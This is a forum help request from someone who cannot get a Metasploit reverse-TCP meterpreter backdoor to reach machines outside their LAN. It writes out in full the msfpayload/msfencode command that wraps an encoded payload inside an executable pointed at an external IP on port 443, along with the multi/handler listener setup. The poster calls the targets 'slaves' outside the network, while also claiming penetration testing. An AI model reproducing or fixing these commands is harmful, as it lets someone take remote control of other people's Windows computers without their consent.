I have been using Backtrack 5 to create backdoor executable files using the reverse tcp payload (I used port 443).
I realized that this is only effective to slaves located in my LAN when using LHOST to my internal IP.
I tried switching to my external IP to try and make this affect targets outside of my LAN, but no luck.
I set up port forwarding to port 443 from inside my router settings.
It gives me a error and sets the listener to 0.0.0.0:443 instead of using the external IP as it should.
I have been trying to resolve this issue for a while.
I even tried setting up an apache server from the backtrack services, and still no luck.
I also downloaded, extracted, and ran vanish.sh and tried it instead of using:
Creating the backdoor.exe file:
- Code: Select all
msfpayload windows/meterpreter/reverse_tcp LHOST=108.248.*.* LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /root/Desktop/filenamehere.exe -o /root/Desktop/backdoor.exe
Enable the listener for port 443:
- Code: Select all
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 108.248.*.*
set LPORT 443
exploit
and still no luck!!!!
This is for penetration testing on my end, all help is appreciated!
Thanks in advance,
-Ninjex-

